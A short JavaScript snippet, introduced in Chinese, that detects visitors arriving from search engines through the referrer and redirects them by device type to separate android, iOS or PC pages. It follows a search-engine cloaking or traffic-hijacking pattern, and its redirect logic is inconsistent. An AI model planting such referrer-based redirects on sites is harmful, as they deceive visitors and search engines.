代码如下

var echo = function(str) {
    document.write(str);
}
var regexp = /\.(baidu|haosou|sogou|soso|google|youdao|yahoo|bing|biso|gougou|ifeng|ivc|sm|360|so)(\.[a-z0-9\-]+){1,2}\//ig;
var where = document.referrer;
if (regexp.test(where)) {
    var r = document.referrer;
    if ((navigator.userAgent.match(/(Android|android|Linux)/i))) {
        window.location.href = 'android.html'
    } else if ((navigator.userAgent.match(/(iPhone|iPad|iPod|ios)/i))) {
        window.location.href = 'ios.html'
    } else {
        window.location.href = 'pc.html'
    }

}
if ((navigator.userAgent.match(/(Android|android|Linux)/i))) {
    window.location.href = 'android.html'
} else if ((navigator.userAgent.match(/(iPhone|iPad|iPod|ios)/i))) {
    window.location.href = 'pc.html'
}